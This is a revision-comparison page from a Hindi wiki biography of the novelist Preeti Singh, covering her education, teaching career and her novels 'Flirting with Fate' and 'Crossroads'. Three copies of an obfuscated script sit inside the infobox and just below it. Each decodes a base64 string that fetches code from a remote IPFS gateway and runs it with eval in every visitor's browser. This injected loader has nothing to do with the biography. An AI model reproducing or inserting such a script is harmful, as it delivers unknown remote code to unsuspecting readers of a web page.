"प्रीति सिंह" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 38: पंक्ति 38:
  
 
== प्रारंभिक जीवन एवं परिचय ==
 
== प्रारंभिक जीवन एवं परिचय ==
प्रीति सिंह  का जन्म एक [[6 अक्टूबर]], [[1971]] को [[चंडीगढ़]] में हुआ। वें सैनिक परिवार से ताल्लुक रखती हैं। उसके पिता मेजर जनरल श्री कुलवंत सिंह [[भारतीय सेना]] से सेवानिवृत्त हुए हैं और इनकी दिवंगत माँ, श्रीमती सोन्या सिंह, जिनका फेफड़ों के कैंसर के कारण निधन हो गया हैं। प्रीति ने अपनी स्कूली शिक्षा ला मार्टिनियर स्कूल, [[लखनऊ]] से किया। वें [[अंग्रेजी]] ऑनर्स के साथ एमसीएम डीएवी वुमन कॉलेज, [[चंडीगढ़]] से स्नातक और पंजाब विश्वविद्यालय, चंडीगढ़ से अंग्रेजी साहित्य में परास्नातक हैं। इंदिरा गाँधी राष्ट्रीय मुक्त विश्वविद्यालय, [[दिल्ली]] से प्रीति सिंह ने पत्रकारिता एवं जनसंचार में स्नातकोत्तर डिप्लोमा हासिल की और एमिटी विश्वविद्यालय, [[नोएडा]] के साथ एक सम्पादक के रूप में अपने कैरियर शुरू किया। अन्नामलाई विश्वविद्यालय से बी.एड करने के बाद देश के विभिन्न आर्मी स्कूलों में अध्यापन का कार्य किया। इसके पूर्व वें एक रचनात्मक सामग्री लेखक के रूप में एक एसईओ कंपनी में भी कार्य कर चुकी थी। वर्तमान में वें [[चंडीगढ़]] में बसी हुई हैं।
+
प्रीति सिंह  का जन्म एक [[6 अक्टूबर]], [[1971]] को [[चंडीगढ़]] में हुआ। वें सैनिक परिवार से ताल्लुक रखती हैं। उसके पिता मेजर जनरल श्री कुलवंत सिंह [[भारतीय सेना]] से सेवानिवृत्त हुए हैं और इनकी दिवंगत माँ, श्रीमती सोन्या सिंह, जिनका फेफड़ों के कैंसर के कारण निधन हो गया हैं। प्रीति ने अपनी स्कूली शिक्षा ला मार्टिनियर स्कूल, [[लखनऊ]] से किया। वें [[अंग्रेजी]] ऑनर्स के साथ एमसीएम डीएवी वुमन कॉलेज, [[चंडीगढ़]] से स्नातक और पंजाब विश्वविद्यालय, चंडीगढ़ से अंग्रेजी साहित्य में परास्नातक हैं। इंदिरा गाँधी राष्ट्रीय मुक्त विश्वविद्यालय, [[दिल्ली]] से प्रीति सिंह ने पत्रकारिता एवं जनसंचार में स्नातकोत्तर डिप्लोमा हासिल की और एमिटी विश्वविद्यालय, नोएडा के साथ एक सम्पादक के रूप में अपने कैरियर शुरू किया। अन्नामलाई विश्वविद्यालय से बी.एड करने के बाद देश के विभिन्न आर्मी स्कूलों में अध्यापन का कार्य किया। इसके पूर्व वें एक रचनात्मक सामग्री लेखक के रूप में एक एसईओ कंपनी में भी कार्य कर चुकी थी। वर्तमान में वें [[चंडीगढ़]] में बसी हुई हैं।
  
 
== कार्य ==
 
== कार्य ==
प्रीति सिंह का पहला क्राइम थ्रिलर उपन्यास "फ्लिर्टिंग विथ फेट" महावीर प्रकाशन द्वारा 2012 में प्रकाशित किया गया, जिसे राष्ट्रमंडल बुकर पुरस्कार के लिए नामांकित और बेस्ट डेब्यू क्राइम फिक्शन 2012 पुरस्कार से  गया। अपनी दूसरी पुस्तक क्रॉसरोड्स में लेखिका प्रीति सिंह ने नारी की मनोस्थिति को एक कहानी के माध्यम से संजोया है। कहानी में असफल प्रेमिका के भीतर की टूटन को दर्शाया गया है जिसके सामने दो राहे भी हैं और वह क्या निर्णय करे, किसके आसरे जिए। क्रॉसरोड्स, करीब करीब हर भारतीय महिला के सफर की दास्ता है। ये कहानी है कविता के सफर की, जो कि घरेलू हिसा, तानों और परेशान किए जाने से मानसिक दबाव में है और एक पत्नी के तौर पर खोई हुई खुशियों और मानसिक शाति को प्राप्त करने के लिए एक अलग रास्ता चुनने का फैसला करती है। वर्ष 2015 में इनके उपन्यास क्रॉसरोड्स का [[हिंदी]] में अनुवाद लेखिका पारुल रस्तोगी द्वारा किया गया।
+
प्रीति सिंह का पहला क्राइम थ्रिलर उपन्यास "फ्लिर्टिंग विथ फेट" महावीर प्रकाशन द्वारा 2012 में प्रकाशित किया गया, जिसे राष्ट्रमंडल बुकर पुरस्कार के लिए नामांकित और बेस्ट डेब्यू क्राइम फिक्शन 2012 पुरस्कार से  गया।
 +
पुस्तक फ्लिर्टिंग विथ फेट, यह एक 80 के दशक की कहानी है जो कि [[शिमला]] से शुरू होती है, जब कोई लैपटॉप, मोबाइल आदि नहीं होते थे, बस फिएट कारें, लैंडलाइन फोन और [[दूरदर्शन]] ही होता था। यह थ्रिलर एक युवा लड़के के बचपन से शुरू होने वाले सफर की कहानी है जो कि युवा होने पर समझता है कि आदमी जो बोता है, वही काटता है। आनंद, एक ऐसा लड़का है जो कि अपनी किस्मत के साथ आंख मिचौली खेलता है पर आखिर में उसे हार मिलती है और उसके द्वारा लगातार अपराध किए जाते हैं लेकिन वह किताब के थीम, कर्म ही सामने आते हैं, से भी रूबरू होता है।  प्रीति सिंह की पहली पुस्तक का विमोचन लेखक निरूपमा दत्त, निखिल नुखीजिया और सुमरित शाही जैसे प्रख्यात लेखको की उपस्तिथि में हरियाणा के परिवहन आयुक्त एवं लोकप्रिय लेखक विवेक अत्रे द्वारा जुलाई 2014 में किया गया गया।
 +
 
 +
अपनी दूसरी पुस्तक क्रॉसरोड्स में लेखिका प्रीति सिंह ने नारी की मनोस्थिति को एक कहानी के माध्यम से संजोया है। कहानी में असफल प्रेमिका के भीतर की टूटन को दर्शाया गया है जिसके सामने दो राहे भी हैं और वह क्या निर्णय करे, किसके आसरे जिए। क्रॉसरोड्स, करीब करीब हर भारतीय महिला के सफर की दास्ता है। ये कहानी है कविता के सफर की, जो कि घरेलू हिसा, तानों और परेशान किए जाने से मानसिक दबाव में है और एक पत्नी के तौर पर खोई हुई खुशियों और मानसिक शाति को प्राप्त करने के लिए एक अलग रास्ता चुनने का फैसला करती है। वर्ष 2015 में इनके उपन्यास क्रॉसरोड्स का [[हिंदी]] में अनुवाद लेखिका पारुल रस्तोगी द्वारा किया गया।
 +
 
  
 
==  सम्मान एवं पुरस्कार  ==
 
==  सम्मान एवं पुरस्कार  ==

14:58, 30 सितम्बर 2015 का अवतरण

प्रीति सिंह
प्रीति सिंह
पूरा नाम प्रीति सिंह
जन्म 6 अक्टूबर, 1971
जन्म भूमि चंडीगढ़, भारत
अभिभावक मेजर जनरल कुलवंत सिंह और स्व. सोन्या सिंह
संतान पुत्री - हर्षीन कौर
कर्म-क्षेत्र साहित्यकार, प्राध्‍यापक
मुख्य रचनाएँ ‘फ्लर्टिंग विथ फेट’, ‘क्रॉसरोड्स’
भाषा अंग्रेज़ी, हिन्‍दी
विद्यालय ला मार्टिनियर स्कूल, लखनऊ
एमसीएम डीएवी वुमन कॉलेज, चंडीगढ़
पंजाब विश्वविद्यालय
इंदिरा गाँधी राष्ट्रीय मुक्त विश्वविद्यालय, दिल्ली
शिक्षा अंग्रेजी ऑनर्स, एम. ए. (अंग्रेजी साहित्य)
पुरस्कार-उपाधि राष्ट्रमंडल बुकर पुरस्कार 2012 के लिए नामांकित
बेस्ट डेब्यू क्राइम फिक्शन 2012
प्रसिद्धि उपन्यासकार
नागरिकता भारतीय
अन्य जानकारी उपन्यास "क्रॉसरोड्स" के लिए इंडिया बुक ऑफ़ वर्ल्ड रिकार्ड्स में नाम दर्ज हैं।
बाहरी कड़ियाँ आधिकारिक वेबसाइट
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रीति सिंह (अंग्रेज़ी: Preeti Singh, जन्म: 6 अक्टूबर, 1971) अंग्रेजी भाषा की एक भारतीय साहित्यकार, उपन्यासकार एवं सम्पादिका हैं। महावीर पब्लिशर्स द्वारा 2012 में प्रकाशित इनका पहला उपन्यास "फ्लर्टिंग विथ फेट" बेस्ट सेलिंग उपन्यास रहा और वे अपनी दूसरी किताब "क्रॉसरोड्स" के साथ एक अवॉर्ड विजेता लेखिका बन चुकी हैं। इनका दूसरा उपन्यास क्रॉसरोड्स, भारत का पहला ऐसा उपन्यास है, जिसमें पात्रो के रूप में वास्तविक जीवन के लोगो का समावेश है। प्रीति सिंह के इस उपन्यास के लिए इंडिया बुक ऑफ़ वर्ल्ड रिकार्ड्स में नाम दर्ज किया जा चुका हैं।[1]


प्रारंभिक जीवन एवं परिचय

प्रीति सिंह का जन्म एक 6 अक्टूबर, 1971 को चंडीगढ़ में हुआ। वें सैनिक परिवार से ताल्लुक रखती हैं। उसके पिता मेजर जनरल श्री कुलवंत सिंह भारतीय सेना से सेवानिवृत्त हुए हैं और इनकी दिवंगत माँ, श्रीमती सोन्या सिंह, जिनका फेफड़ों के कैंसर के कारण निधन हो गया हैं। प्रीति ने अपनी स्कूली शिक्षा ला मार्टिनियर स्कूल, लखनऊ से किया। वें अंग्रेजी ऑनर्स के साथ एमसीएम डीएवी वुमन कॉलेज, चंडीगढ़ से स्नातक और पंजाब विश्वविद्यालय, चंडीगढ़ से अंग्रेजी साहित्य में परास्नातक हैं। इंदिरा गाँधी राष्ट्रीय मुक्त विश्वविद्यालय, दिल्ली से प्रीति सिंह ने पत्रकारिता एवं जनसंचार में स्नातकोत्तर डिप्लोमा हासिल की और एमिटी विश्वविद्यालय, नोएडा के साथ एक सम्पादक के रूप में अपने कैरियर शुरू किया। अन्नामलाई विश्वविद्यालय से बी.एड करने के बाद देश के विभिन्न आर्मी स्कूलों में अध्यापन का कार्य किया। इसके पूर्व वें एक रचनात्मक सामग्री लेखक के रूप में एक एसईओ कंपनी में भी कार्य कर चुकी थी। वर्तमान में वें चंडीगढ़ में बसी हुई हैं।

कार्य

प्रीति सिंह का पहला क्राइम थ्रिलर उपन्यास "फ्लिर्टिंग विथ फेट" महावीर प्रकाशन द्वारा 2012 में प्रकाशित किया गया, जिसे राष्ट्रमंडल बुकर पुरस्कार के लिए नामांकित और बेस्ट डेब्यू क्राइम फिक्शन 2012 पुरस्कार से गया। पुस्तक फ्लिर्टिंग विथ फेट, यह एक 80 के दशक की कहानी है जो कि शिमला से शुरू होती है, जब कोई लैपटॉप, मोबाइल आदि नहीं होते थे, बस फिएट कारें, लैंडलाइन फोन और दूरदर्शन ही होता था। यह थ्रिलर एक युवा लड़के के बचपन से शुरू होने वाले सफर की कहानी है जो कि युवा होने पर समझता है कि आदमी जो बोता है, वही काटता है। आनंद, एक ऐसा लड़का है जो कि अपनी किस्मत के साथ आंख मिचौली खेलता है पर आखिर में उसे हार मिलती है और उसके द्वारा लगातार अपराध किए जाते हैं लेकिन वह किताब के थीम, कर्म ही सामने आते हैं, से भी रूबरू होता है। प्रीति सिंह की पहली पुस्तक का विमोचन लेखक निरूपमा दत्त, निखिल नुखीजिया और सुमरित शाही जैसे प्रख्यात लेखको की उपस्तिथि में हरियाणा के परिवहन आयुक्त एवं लोकप्रिय लेखक विवेक अत्रे द्वारा जुलाई 2014 में किया गया गया।

अपनी दूसरी पुस्तक क्रॉसरोड्स में लेखिका प्रीति सिंह ने नारी की मनोस्थिति को एक कहानी के माध्यम से संजोया है। कहानी में असफल प्रेमिका के भीतर की टूटन को दर्शाया गया है जिसके सामने दो राहे भी हैं और वह क्या निर्णय करे, किसके आसरे जिए। क्रॉसरोड्स, करीब करीब हर भारतीय महिला के सफर की दास्ता है। ये कहानी है कविता के सफर की, जो कि घरेलू हिसा, तानों और परेशान किए जाने से मानसिक दबाव में है और एक पत्नी के तौर पर खोई हुई खुशियों और मानसिक शाति को प्राप्त करने के लिए एक अलग रास्ता चुनने का फैसला करती है। वर्ष 2015 में इनके उपन्यास क्रॉसरोड्स का हिंदी में अनुवाद लेखिका पारुल रस्तोगी द्वारा किया गया।


सम्मान एवं पुरस्कार

  • राष्ट्रमंडल बुकर पुरस्कार 2012 के लिए नामांकित और 2012 के बेस्ट डेब्यू क्राइम फिक्शन उपन्यास से पुरस्कृत।
  • अनीश भनोट द्वारा जारी चंडीगढ़ की प्रमुख हस्तियों की कॉफी टेबल पुस्तक में प्रीती सिंह को भी स्थान प्राप्त हैं।
  • दूसरे उपन्यास क्रॉसरोड्स के लिए इंडिया बुक ऑफ़ वर्ल्ड रिकार्ड्स में नाम दर्ज।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. "क्रॉसरोअड्स हर नारी की कहानी", सत्य सन्देश, अप्रैल १७, २०१४

बाहरी कड़ियाँ

संबंधित लेख